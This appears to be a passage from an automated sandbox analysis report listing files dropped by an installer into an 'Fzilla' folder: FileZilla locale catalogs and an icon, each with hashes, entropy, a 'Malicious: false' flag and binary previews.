Preview:	........6........9......\|s......\|s......}s.......s..S....s.......s..A....t......Nt..0..._t..B....t.......t.......t.......t.......u......'u......5u......?u......Ju......Xu......hu.."....u.......u.......u.......v..+....v.......v.......v.......v..5....w......Ew......Ow......_w......lw......vw......~w.......w.......w.......w.......w.......w..K....w..0...@x..2...qx..2....x.......x..0....x......#y..6...;y......ry......xy.......y.......y..;....y.......y.......y.......y.......y.......z......"z......9z......@z......Qz......gz.......z.......z..+....z.......z.......z.......z.......z.."....{......${......5{..%...T{......z{.......{.......{.. ....{.......{..H....{..I....\|..4...g\|.......\|..:....\|.......\|.......\|.......}..4..."}..$...W}......\|}.......}.......}.......}.......}.......}.......}.......}.......}.......}.......~......$~....../~......<~......U~......^~......{~.......~.......~.......~.......~.......~.......~.......~.......~..................%.......O...A...R.......1.......0...........G.......

C:\Program Files (x86)\Fzilla\locales\uk_UA\is-9LLQM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1846 messages, Project-Id-Version: FileZilla '%H:%M:%S \320\274\320\270\320\275\321\203\320\273\320\276'
Category:	dropped
Size (bytes):	235638
Entropy (8bit):	5.417871783378249
Encrypted:	false
SSDEEP:	6144:BJNjM0mICF5XTsI7rwmSbsNc2sIkQxavV:BJ6vFF78mSgNc20Cad
MD5:	5FAB3A171BF12FFA1B52373D8FEC0F8D
SHA1:	91A6A215DD1130F21B8C0BFFD8622BE502DA6671
SHA-256:	E2EF209A335FA6B1E33E4B53B4B0032E30DD66963041D83D093E57D965020749
SHA-512:	9E1E1275C7957675225AB3624D04F537C15DAEDAF83EC309EC0C27E4A111C0D409D2A08A867142545500EEA637EDBC169D9DF37BF1A0A4E7861BF3781FCE61FB
Malicious:	false
Preview:	........6........9......\|s......\|s......}s.......s..S....s.......s..A....t......Nt..0..._t..B....t.......t.......t.......t.......u......'u......5u......?u......Ju......Xu......hu.."....u.......u.......u.......v..+....v.......v.......v.......v..5....w......Ew......Ow......_w......lw......vw......~w.......w.......w.......w.......w.......w..K....w..0...@x..2...qx..2....x.......x..0....x......#y..6...;y......ry......xy.......y.......y..;....y.......y.......y.......y.......y.......z......"z......9z......@z......Qz......gz.......z.......z..+....z.......z.......z.......z.......z.."....{......${......5{..%...T{......z{.......{.......{.. ....{.......{..H....{..I....\|..4...g\|.......\|..:....\|.......\|.......\|.......}..4..."}..$...W}......\|}.......}.......}.......}.......}.......}.......}.......}.......}.......}.......~......$~....../~......<~......U~......^~......{~.......~.......~.......~.......~.......~.......~.......~.......~..................%.......O...A...R.......1.......0...........G.......

C:\Program Files (x86)\Fzilla\locales\uk_UA\is-DGITR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 77 messages, Project-Id-Version: FileZilla '\320\241\320\265\321\200\321\202\320\270\321\204\321\226\320\272\320\260\321\202 \321\203 \320\273\320\260\320\275\321\206\321\216\320\263\321\203 \320\261\321\203\320\273\320\276 \320\277\321\226\320\264\320\277\320\270\321\201\320\260\320\275\320\276 \320\267 \320\262\320\270\320\272\320\276\321\200\320\270\321\201\321\202\320\260\320\275\320\275\321\217\320\274 \320\275\320\265\320\267\320\260\321\205\320\270\321\211\320\265\320\275\320\276\320\263\320\276 \320\260\320\273\320'
Category:	dropped
Size (bytes):	9764
Entropy (8bit):	5.429173954208195
Encrypted:	false
SSDEEP:	192:dclPvksY47DZpJqe790vMm3dpqKk2SsVV3LR/feyLRm32CpXUjUXk:EXksYeDvB9Epq9a3LR/G4Rm32CpXcj
MD5:	46E7D4965D4F0B97004012907CCF4BCA
SHA1:	BEC4B8516EA44AB0ACF8DF9FF3933D72D1498BE5
SHA-256:	649118FA6620B34022288F3A6BDDEA54045A185A61FD744604B3743EF535C1C6
SHA-512:	B2B3AA2647BDD8946C0056B1F4BAE8E5BAEBD8F89AF666E9E96FB432220B8260DB78A4F8D454BBEE72A5F8C73F19D9A2408FF67FFCAA03C4D2FD53C6F2C0D05D
Malicious:	false
Preview:	........M...........................A.......A.../.......q...........$...............>.......)...".......L......._.......\|...................1...............X.......R...t... .......!...................'.......7.......M.......g.......{...............................................................<.......V...4...h...P...............#...........&...)...7...(...a...............................................................%...+...<...+...h...L.......-.................../... ...L...0...m...M.......$..........................D...,...Y...#.......%.......$.......%.......'.......n...C...?.......7.......-......1...X...........5...............1...............m.......6.......8...I...3.......E.......t.......G...q...$.......8.......:.......1...R...@.......j.......<...0.......m...........l.......V......./...X...................".......................#.......2...B...8...u...0.......2.......>.......9...Q.../.......4.......c.......l...T...........@.......#..."...D...F...Q.......$...............&...

C:\Program Files (x86)\Fzilla\locales\uk_UA\libfilezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 77 messages, Project-Id-Version: FileZilla '\320\241\320\265\321\200\321\202\320\270\321\204\321\226\320\272\320\260\321\202 \321\203 \320\273\320\260\320\275\321\206\321\216\320\263\321\203 \320\261\321\203\320\273\320\276 \320\277\321\226\320\264\320\277\320\270\321\201\320\260\320\275\320\276 \320\267 \320\262\320\270\320\272\320\276\321\200\320\270\321\201\321\202\320\260\320\275\320\275\321\217\320\274 \320\275\320\265\320\267\320\260\321\205\320\270\321\211\320\265\320\275\320\276\320\263\320\276 \320\260\320\273\320'
Category:	dropped
Size (bytes):	9764
Entropy (8bit):	5.429173954208195
Encrypted:	false
SSDEEP:	192:dclPvksY47DZpJqe790vMm3dpqKk2SsVV3LR/feyLRm32CpXUjUXk:EXksYeDvB9Epq9a3LR/G4Rm32CpXcj
MD5:	46E7D4965D4F0B97004012907CCF4BCA
SHA1:	BEC4B8516EA44AB0ACF8DF9FF3933D72D1498BE5
SHA-256:	649118FA6620B34022288F3A6BDDEA54045A185A61FD744604B3743EF535C1C6
SHA-512:	B2B3AA2647BDD8946C0056B1F4BAE8E5BAEBD8F89AF666E9E96FB432220B8260DB78A4F8D454BBEE72A5F8C73F19D9A2408FF67FFCAA03C4D2FD53C6F2C0D05D
Malicious:	false
Preview:	........M...........................A.......A.../.......q...........$...............>.......)...".......L......._.......\|...................1...............X.......R...t... .......!...................'.......7.......M.......g.......{...............................................................<.......V...4...h...P...............#...........&...)...7...(...a...............................................................%...+...<...+...h...L.......-.................../... ...L...0...m...M.......$..........................D...,...Y...#.......%.......$.......%.......'.......n...C...?.......7.......-......1...X...........5...............1...............m.......6.......8...I...3.......E.......t.......G...q...$.......8.......:.......1...R...@.......j.......<...0.......m...........l.......V......./...X...................".......................#.......2...B...8...u...0.......2.......>.......9...Q.../.......4.......c.......l...T...........@.......#..."...D...F...Q.......$...............&...

C:\Program Files (x86)\Fzilla\locales\vi_VN\filezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1837 messages, Project-Id-Version: filezilla 3.59.0 '\304\220\303\243 \304\221\306\260\341\273\243c %H:%M:%S'
Category:	dropped
Size (bytes):	193868
Entropy (8bit):	5.645859513519328
Encrypted:	false
SSDEEP:	3072:FsjxEC3AWSxhqPsJm1zTkCF05T77XUwws+nSwU42qYbfnkboGOnLCPsoCY89W8kZ:6ju6AVx7qzICF05T7TbwWbkorT9WT
MD5:	DD181DBDA5E7EE36D7E2247D73BA327D
SHA1:	EED3B6C999CF61AD374E5718565E79F9BD9F10BA
SHA-256:	4B9EBAC6ECC62D63D4F12681A62EC23B6A9E522B0BE3E16EE7A9402015527EC0
SHA-512:	6A88D5104F2FC6CC23619FA8EC9F5A5BB67C40441B8000FC7C13EA1EE740CF93C4E1DD260ADC0B4D69D2F2372558C8C3ADB8A3F3A2D44B2AE4EFA383571A5CBC
Malicious:	false
Preview:	........-........9.......r.......r.......r.......r..S....s......`s..A...\|s.......s..0....s..B....t......Ct......Xt......bt.......t.......t.......t.......t.......t.......t.......t.."....t.......u......&u.......v..+....v......Jv......Xv......lv..5....v.......v.......v.......v.......v.......v.......v.......v.......w......%w......6w......Dw..K...dw..0....w..2....w..2....x......Gx..0...bx.......x..6....x.......x.......x.......x.......y..;....y......Ky......Vy......^y......iy......{y.......y.......y.......y.......y.......y.......y.......z..+....z......5z......Hz......Zz......jz.."...qz.......z.......z..%....z.......z.......z.......{.. ....{.......{..H...D{..I....{..4....{.......\|..:....\|......S\|......j\|......s\|..4....\|..$....\|.......\|.......}.......}......#}......0}......<}......G}......M}......c}......k}.......}.......}.......}.......}.......}.......}.......}.......}.......~.......~......*~......?~......F~......Z~......h~......q~......{~..%....~..O....~..R.......1...T...0...................

C:\Program Files (x86)\Fzilla\locales\vi_VN\is-C10DB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 75 messages, Project-Id-Version: filezilla 3.41.0-rc1 'Gi\341\272\245y ch\341\273\251ng nh\341\272\255n trong chu\341\273\227i x\303\255ch \304\221\303\243 \304\221\306\260\341\273\243c k\303\275 b\341\272\261ng m\341\273\231t thu\341\272\255t to\303\241n kh\303\264ng an to\303\240n'
Category:	dropped
Size (bytes):	8499
Entropy (8bit):	5.510594910305927
Encrypted:	false
SSDEEP:	192:nKls6ZGJqe790vMm3dcbEELnXElrAC8R2aLn:KltkB9EcbEyn0pAH2aD
MD5:	6A4DA2920F8BC850DDB8A9AB82959499
SHA1:	FFDEE6B7F34535418A5A33AEE367ED75105A488C
SHA-256:	0C085A7062CE530780CABDCC9403050C33B6DAF079A46AF9BAEECC2F9239A2E1
SHA-512:	3EFC3DD0D3325D73CB3ABD432F204B7EE4F092C30EA6F6904162660C37A5FDA259E9E2C4007D070A60CDEDECA74CCA35CFCFB02FE306A151520A916E5993FCD8
Malicious:	false
Preview:	........K.......t...................A.......A...........Q.......j...$...~...........)...................................:.......V...1...o...........X.......R....... ...h...!...........................................................).......?.......W.......r...................................4.......P...........p...#...............).......(..........................@.......X.......k.......y...................+.......+.......L.......-...c................... .......0.......M... ...$...n...........................,.......#.......%...,...$...R...%...w...'.......n.......?...4...7...t...-.......1...............5...)......._.......g...f.......i....... ...W.......x...7...............3.........../...'...J...2...r.../.......9.......P.......,...`...m.......b.......:...^...<.......9................... .......9.......V...&...k.........../.......).......+.......&...6...0...]...5...............S.......]...2..........7.......+.......M.......3...m...5.......!.......$...................7.......H...#...

C:\Program Files (x86)\Fzilla\locales\vi_VN\is-SGFNS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1837 messages, Project-Id-Version: filezilla 3.59.0 '\304\220\303\243 \304\221\306\260\341\273\243c %H:%M:%S'
Category:	dropped
Size (bytes):	193868
Entropy (8bit):	5.645859513519328
Encrypted:	false
SSDEEP:	3072:FsjxEC3AWSxhqPsJm1zTkCF05T77XUwws+nSwU42qYbfnkboGOnLCPsoCY89W8kZ:6ju6AVx7qzICF05T7TbwWbkorT9WT
MD5:	DD181DBDA5E7EE36D7E2247D73BA327D
SHA1:	EED3B6C999CF61AD374E5718565E79F9BD9F10BA
SHA-256:	4B9EBAC6ECC62D63D4F12681A62EC23B6A9E522B0BE3E16EE7A9402015527EC0
SHA-512:	6A88D5104F2FC6CC23619FA8EC9F5A5BB67C40441B8000FC7C13EA1EE740CF93C4E1DD260ADC0B4D69D2F2372558C8C3ADB8A3F3A2D44B2AE4EFA383571A5CBC
Malicious:	false
Preview:	........-........9.......r.......r.......r.......r..S....s......`s..A...\|s.......s..0....s..B....t......Ct......Xt......bt.......t.......t.......t.......t.......t.......t.......t.."....t.......u......&u.......v..+....v......Jv......Xv......lv..5....v.......v.......v.......v.......v.......v.......v.......v.......w......%w......6w......Dw..K...dw..0....w..2....w..2....x......Gx..0...bx.......x..6....x.......x.......x.......x.......y..;....y......Ky......Vy......^y......iy......{y.......y.......y.......y.......y.......y.......y.......z..+....z......5z......Hz......Zz......jz.."...qz.......z.......z..%....z.......z.......z.......{.. ....{.......{..H...D{..I....{..4....{.......\|..:....\|......S\|......j\|......s\|..4....\|..$....\|.......\|.......}.......}......#}......0}......<}......G}......M}......c}......k}.......}.......}.......}.......}.......}.......}.......}.......}.......~.......~......*~......?~......F~......Z~......h~......q~......{~..%....~..O....~..R.......1...T...0...................

C:\Program Files (x86)\Fzilla\locales\vi_VN\libfilezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 75 messages, Project-Id-Version: filezilla 3.41.0-rc1 'Gi\341\272\245y ch\341\273\251ng nh\341\272\255n trong chu\341\273\227i x\303\255ch \304\221\303\243 \304\221\306\260\341\273\243c k\303\275 b\341\272\261ng m\341\273\231t thu\341\272\255t to\303\241n kh\303\264ng an to\303\240n'
Category:	dropped
Size (bytes):	8499
Entropy (8bit):	5.510594910305927
Encrypted:	false
SSDEEP:	192:nKls6ZGJqe790vMm3dcbEELnXElrAC8R2aLn:KltkB9EcbEyn0pAH2aD
MD5:	6A4DA2920F8BC850DDB8A9AB82959499
SHA1:	FFDEE6B7F34535418A5A33AEE367ED75105A488C
SHA-256:	0C085A7062CE530780CABDCC9403050C33B6DAF079A46AF9BAEECC2F9239A2E1
SHA-512:	3EFC3DD0D3325D73CB3ABD432F204B7EE4F092C30EA6F6904162660C37A5FDA259E9E2C4007D070A60CDEDECA74CCA35CFCFB02FE306A151520A916E5993FCD8
Malicious:	false
Preview:	........K.......t...................A.......A...........Q.......j...$...~...........)...................................:.......V...1...o...........X.......R....... ...h...!...........................................................).......?.......W.......r...................................4.......P...........p...#...............).......(..........................@.......X.......k.......y...................+.......+.......L.......-...c................... .......0.......M... ...$...n...........................,.......#.......%...,...$...R...%...w...'.......n.......?...4...7...t...-.......1...............5...)......._.......g...f.......i....... ...W.......x...7...............3.........../...'...J...2...r.../.......9.......P.......,...`...m.......b.......:...^...<.......9................... .......9.......V...&...k.........../.......).......+.......&...6...0...]...5...............S.......]...2..........7.......+.......M.......3...m...5.......!.......$...................7.......H...#...

C:\Program Files (x86)\Fzilla\locales\zh_CN\filezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1820 messages, Project-Id-Version: FileZilla 3 '\345\267\262\350\200\227\346\227\266 %H:%M:%S'
Category:	dropped
Size (bytes):	159077
Entropy (8bit):	6.2667539203764795
Encrypted:	false
SSDEEP:	3072:1isLm0gomCFSVTQ7kkwnTzhmFUkONey5rxePF:hbgrCFSVTQI3zhTdQPF
MD5:	5FE037FBA2A3230AC69F59B1A790A1D0
SHA1:	1ABBC832F47629BF3A82BF211739C8B68E6051CD
SHA-256:	8CE7FAC3B221049D831DD1F43277AA9D1BBB4BBBAB020F038E368A63AA5A802C
SHA-512:	FE824B5ED36A4BCE5DC6937E8F6CD667BB9FD8BC6DC77FE3123DEE7C3C7A93C80336D484F83047243085844440606705906CA1659C842DB768DE5C94EB111FE7
Malicious:	false
Preview:	.................8.......q.......q.......q.......q..S....q......Pr..A...lr.......r..0....r..B....r......3s......Hs......Rs......rs.......s.......s.......s.......s.......s.......s.."....s.......t.......t.......t..+....u......:u......Hu......\u..5...ou.......u.......u.......u.......u.......u.......u.......u.......v.......v......&v......4v..K...Tv..0....v..2....v..2....w......7w..0...Rw.......w..6....w.......w.......w.......w.......w..;....w......;x......Fx......Nx......Yx......kx.......x.......x.......x.......x.......x.......x.......x..+....x......%y......8y......Jy......Zy.."...ay.......y.......y..%....y.......y.......y.......y.. ....y.......z..H...4z..I...}z..4....z.......z..:....{......C{......Z{..4...y{..$....{.......{.......{.......{.......\|.......\|......#\|.......\|......4\|......J\|......R\|......f\|......{\|.......\|.......\|.......\|.......\|.......\|.......\|.......\|.......\|.......}......&}......-}......A}......O}......X}......b}..%...r}..O....}..R....}..1...;~..0...m~.......~.......~......

C:\Program Files (x86)\Fzilla\locales\zh_CN\is-O3UOT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1820 messages, Project-Id-Version: FileZilla 3 '\345\267\262\350\200\227\346\227\266 %H:%M:%S'
Category:	dropped
Size (bytes):	159077
Entropy (8bit):	6.2667539203764795
Encrypted:	false
SSDEEP:	3072:1isLm0gomCFSVTQ7kkwnTzhmFUkONey5rxePF:hbgrCFSVTQI3zhTdQPF
MD5:	5FE037FBA2A3230AC69F59B1A790A1D0
SHA1:	1ABBC832F47629BF3A82BF211739C8B68E6051CD
SHA-256:	8CE7FAC3B221049D831DD1F43277AA9D1BBB4BBBAB020F038E368A63AA5A802C
SHA-512:	FE824B5ED36A4BCE5DC6937E8F6CD667BB9FD8BC6DC77FE3123DEE7C3C7A93C80336D484F83047243085844440606705906CA1659C842DB768DE5C94EB111FE7
Malicious:	false
Preview:	.................8.......q.......q.......q.......q..S....q......Pr..A...lr.......r..0....r..B....r......3s......Hs......Rs......rs.......s.......s.......s.......s.......s.......s.."....s.......t.......t.......t..+....u......:u......Hu......\u..5...ou.......u.......u.......u.......u.......u.......u.......u.......v.......v......&v......4v..K...Tv..0....v..2....v..2....w......7w..0...Rw.......w..6....w.......w.......w.......w.......w..;....w......;x......Fx......Nx......Yx......kx.......x.......x.......x.......x.......x.......x.......x..+....x......%y......8y......Jy......Zy.."...ay.......y.......y..%....y.......y.......y.......y.. ....y.......z..H...4z..I...}z..4....z.......z..:....{......C{......Z{..4...y{..$....{.......{.......{.......{.......\|.......\|......#\|.......\|......4\|......J\|......R\|......f\|......{\|.......\|.......\|.......\|.......\|.......\|.......\|.......\|.......\|.......}......&}......-}......A}......O}......X}......b}..%...r}..O....}..R....}..1...;~..0...m~.......~.......~......

C:\Program Files (x86)\Fzilla\locales\zh_CN\is-SCLJU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 75 messages, Project-Id-Version: FileZilla 3 '\350\257\201\344\271\246\351\223\276\344\270\255\346\237\220\345\274\240\350\257\201\344\271\246\347\232\204\347\255\276\345\220\215\344\275\277\347\224\250\344\272\206\344\270\215\345\256\211\345\205\250\347\232\204\347\256\227\346\263\225'
Category:	dropped
Size (bytes):	6663
Entropy (8bit):	6.043681250288299
Encrypted:	false
SSDEEP:	96:inIKT56eFn8AlgnVvqk9Ra1Jqe790vMmU87cqO6zu53YL83KlUSKMHEElNElEeze:nKlzn8A0ZGJqe790vMm3dw+lfDrEl3y
MD5:	336C05F3A32545E23392F0096E2775FA
SHA1:	6274816F4F1920BB12A9C1E57A419A88E810ABD6
SHA-256:	A2AD25FE9206B046D126CB7933E06522F62C11799BA6C71D340BB297DF6AD90E
SHA-512:	D3522F2D782B0EE30038BD8D663B12E7F0A5F9CAEDF18323933705535B3D00E574AC9953AA5B1AC178C7E5B67043133DB973316928D773C84EF69A576BE6FF39
Malicious:	false
Preview:	........K.......t...................A.......A...........Q.......j...$...~...........)...................................:.......V...1...o...........X.......R....... ...h...!...........................................................).......?.......W.......r...................................4.......P...........p...#...............).......(...................*.......@.......X.......k.......y...................+.......+.......L.......-...c................... .......0.......M... ...$...n...........................,.......#.......%...,...$...R...%...w...'.......n.......?...4...7...t...-.......1...............5...)......._.......g...<..."...-..._...............................................................-.......F.......\...'...r...........M.......C...........?.......X.......q................... ...........................................-.......C.......V...!...r...................-.......?...........".......5.......T...'...g...)...........................................................

C:\Program Files (x86)\Fzilla\locales\zh_CN\libfilezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 75 messages, Project-Id-Version: FileZilla 3 '\350\257\201\344\271\246\351\223\276\344\270\255\346\237\220\345\274\240\350\257\201\344\271\246\347\232\204\347\255\276\345\220\215\344\275\277\347\224\250\344\272\206\344\270\215\345\256\211\345\205\250\347\232\204\347\256\227\346\263\225'
Category:	dropped
Size (bytes):	6663
Entropy (8bit):	6.043681250288299
Encrypted:	false
SSDEEP:	96:inIKT56eFn8AlgnVvqk9Ra1Jqe790vMmU87cqO6zu53YL83KlUSKMHEElNElEeze:nKlzn8A0ZGJqe790vMm3dw+lfDrEl3y
MD5:	336C05F3A32545E23392F0096E2775FA
SHA1:	6274816F4F1920BB12A9C1E57A419A88E810ABD6
SHA-256:	A2AD25FE9206B046D126CB7933E06522F62C11799BA6C71D340BB297DF6AD90E
SHA-512:	D3522F2D782B0EE30038BD8D663B12E7F0A5F9CAEDF18323933705535B3D00E574AC9953AA5B1AC178C7E5B67043133DB973316928D773C84EF69A576BE6FF39
Malicious:	false
Preview:	........K.......t...................A.......A...........Q.......j...$...~...........)...................................:.......V...1...o...........X.......R....... ...h...!...........................................................).......?.......W.......r...................................4.......P...........p...#...............).......(...................*.......@.......X.......k.......y...................+.......+.......L.......-...c................... .......0.......M... ...$...n...........................,.......#.......%...,...$...R...%...w...'.......n.......?...4...7...t...-.......1...............5...)......._.......g...<..."...-..._...............................................................-.......F.......\...'...r...........M.......C...........?.......X.......q................... ...........................................-.......C.......V...!...r...................-.......?...........".......5.......T...'...g...)...........................................................

C:\Program Files (x86)\Fzilla\locales\zh_TW\filezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1841 messages, Project-Id-Version: '\347\266\223\351\201\216\346\231\202\351\226\223 %H:%M:%S'
Category:	dropped
Size (bytes):	158375
Entropy (8bit):	6.233321326002652
Encrypted:	false
SSDEEP:	3072:OLt8HgCZowXsJmfmTkCF15TT7XUwomD4vuLlh4hOXx42r92ERK61+1Rkgf7IcGM5:OKzOb0mICF15TTTkSx42TkhhfB
MD5:	3AD8418FF2C7BA4EC3448BB0F6CC426E
SHA1:	40BE758B8F0A7BCC6B0FFC3D7D78EC3FFB9A8373
SHA-256:	66D4A2A1C1067C35EB21BDC1C83C3D50960FE4AECDD0F394D55E2556BF9BE342
SHA-512:	52CF00C322814474CB7A21663A466A7C13F03D9F08E848A88017C210EBE8C353D0EF95D04E550D08D20E6767ECB786C199B8B7069C1EF715BEE461F6C77E1B2A
Malicious:	false
Preview:	........1........9......,s......,s......-s......>s..S...Ls.......s..A....s.......s..0....t..B...@t.......t.......t.......t.......t.......t.......t.......t.......t.......u.......u.."...2u......Uu......fu......Nv..+...^v.......v.......v.......v..5....v.......v.......v.......w.......w......&w.......w......?w......Qw......ew......vw.......w..K....w..0....w..2...!x..2...Tx.......x..0....x.......x..6....x......"y......(y......4y......Gy..;...Oy.......y.......y.......y.......y.......y.......y.......y.......y.......z.......z......2z......@z..+...Iz......uz.......z.......z.......z.."....z.......z.......z..%....{......*{......2{......B{.. ...M{......n{..H....{..I....{..4....\|......L\|..:...X\|.......\|.......\|.......\|..4....\|..$....}......,}......K}......U}......c}......p}......\|}.......}.......}.......}.......}.......}.......}.......}.......}.......~.......~......+~......6~......P~......V~......j~.......~.......~.......~.......~.......~.......~..%....~..O....~..R...A...1.......0...................

C:\Program Files (x86)\Fzilla\locales\zh_TW\is-D3B1A.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1841 messages, Project-Id-Version: '\347\266\223\351\201\216\346\231\202\351\226\223 %H:%M:%S'
Category:	dropped
Size (bytes):	158375
Entropy (8bit):	6.233321326002652
Encrypted:	false
SSDEEP:	3072:OLt8HgCZowXsJmfmTkCF15TT7XUwomD4vuLlh4hOXx42r92ERK61+1Rkgf7IcGM5:OKzOb0mICF15TTTkSx42TkhhfB
MD5:	3AD8418FF2C7BA4EC3448BB0F6CC426E
SHA1:	40BE758B8F0A7BCC6B0FFC3D7D78EC3FFB9A8373
SHA-256:	66D4A2A1C1067C35EB21BDC1C83C3D50960FE4AECDD0F394D55E2556BF9BE342
SHA-512:	52CF00C322814474CB7A21663A466A7C13F03D9F08E848A88017C210EBE8C353D0EF95D04E550D08D20E6767ECB786C199B8B7069C1EF715BEE461F6C77E1B2A
Malicious:	false
Preview:	........1........9......,s......,s......-s......>s..S...Ls.......s..A....s.......s..0....t..B...@t.......t.......t.......t.......t.......t.......t.......t.......t.......u.......u.."...2u......Uu......fu......Nv..+...^v.......v.......v.......v..5....v.......v.......v.......w.......w......&w.......w......?w......Qw......ew......vw.......w..K....w..0....w..2...!x..2...Tx.......x..0....x.......x..6....x......"y......(y......4y......Gy..;...Oy.......y.......y.......y.......y.......y.......y.......y.......y.......z.......z......2z......@z..+...Iz......uz.......z.......z.......z.."....z.......z.......z..%....{......*{......2{......B{.. ...M{......n{..H....{..I....{..4....\|......L\|..:...X\|.......\|.......\|.......\|..4....\|..$....}......,}......K}......U}......c}......p}......\|}.......}.......}.......}.......}.......}.......}.......}.......}.......~.......~......+~......6~......P~......V~......j~.......~.......~.......~.......~.......~.......~..%....~..O....~..R...A...1.......0...................

C:\Program Files (x86)\Fzilla\locales\zh_TW\is-MQE3I.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 65 messages, Project-Id-Version: '\345\217\203\346\225\270\347\267\251\346\262\226\345\215\200\346\272\242\344\275\215'
Category:	dropped
Size (bytes):	5388
Entropy (8bit):	6.0170717052499505
Encrypted:	false
SSDEEP:	96:Lf6mi6Glzn9VQk01Jqe790vMmO87kqGu5Wij6cnyX3E2C+okHiH:Lf6hB9MJqe790vMmdFcoyHZC+o3H
MD5:	F5BFFE8389B57ABB36CCA99AA5EB42B4
SHA1:	42EBA1D4BE15DC4E4D6B45DB2C4AF8323A0034A3
SHA-256:	896DDD34D4034080A5C9FCF122E3AD4BBD66A08C8BDFDEC17A70DF1C7E4DA6BB
SHA-512:	DCC4A745335F961A0DD8F577A038655261C8531EF29AAFBCD39C31224B2D10910A20ACADBF3192F33EE5EA24AC8449CB268884C687F3997C5C93B9D535CF248F
Malicious:	false
Preview:	........A.......$.......,.......,.......-.......F...$...Z...................................................X...!...R...z...!...................................2.......L.......`.......m...........................................................4.......P...c...........#...............).......(...'.......P.......n...................................................+.......+.......-...Z................... .......0.......$...........<.......U.......o...,.......#.......%.......$.......%... ...'...F...7...n...-.......1...............5...#.......Y.......a................... ...........0.......L.......Y.......l...................L.......B...........A.......Z.......t...............................................................#.......6...!...R.......t...........2.......A...........................;...'...N...(...v...............................................................'...)...:...&...d...)...............................#.......(...(.......Q.......b.......s...&.......$.......$.......!...

C:\Program Files (x86)\Fzilla\locales\zh_TW\libfilezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 65 messages, Project-Id-Version: '\345\217\203\346\225\270\347\267\251\346\262\226\345\215\200\346\272\242\344\275\215'
Category:	dropped
Size (bytes):	5388
Entropy (8bit):	6.0170717052499505
Encrypted:	false
SSDEEP:	96:Lf6mi6Glzn9VQk01Jqe790vMmO87kqGu5Wij6cnyX3E2C+okHiH:Lf6hB9MJqe790vMmdFcoyHZC+o3H
MD5:	F5BFFE8389B57ABB36CCA99AA5EB42B4
SHA1:	42EBA1D4BE15DC4E4D6B45DB2C4AF8323A0034A3
SHA-256:	896DDD34D4034080A5C9FCF122E3AD4BBD66A08C8BDFDEC17A70DF1C7E4DA6BB
SHA-512:	DCC4A745335F961A0DD8F577A038655261C8531EF29AAFBCD39C31224B2D10910A20ACADBF3192F33EE5EA24AC8449CB268884C687F3997C5C93B9D535CF248F
Malicious:	false
Preview:	........A.......$.......,.......,.......-.......F...$...Z...................................................X...!...R...z...!...................................2.......L.......`.......m...........................................................4.......P...c...........#...............).......(...'.......P.......n...................................................+.......+.......-...Z................... .......0.......$...........<.......U.......o...,.......#.......%.......$.......%... ...'...F...7...n...-.......1...............5...#.......Y.......a................... ...........0.......L.......Y.......l...................L.......B...........A.......Z.......t...............................................................#.......6...!...R.......t...........2.......A...........................;...'...N...(...v...............................................................'...)...:...&...d...)...............................#.......(...(.......Q.......b.......s...&.......$.......$.......!...

C:\Program Files (x86)\Fzilla\resources\16x16\filezilla.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	459
Entropy (8bit):	7.421008793663681
Encrypted:	false
SSDEEP:	12:6v/7IC8jAqPfRPV9wVWxc79/mrKGjHpE6oFlUb/gq:tjAAJPV9wWuh/qHC6oFgN
MD5:	F3C6E2F122398052A7AFE5D9924A32E7
SHA1:	587AD001EE990EA397C14524D92E78CE79581897
SHA-256:	3837185790FA51CF6A91655182B81F8AF988170FD693012A2F153EB7963FB9FA
SHA-512:	85A46585FA11D3752FCDA256FC84A94EB498D9E872B3251D94DE2AF2E2655EE4E0929961139F7DCA956CB7BBE569BA0D5F3BA4BF324C9631835C5C7143692B2E
Malicious:	false
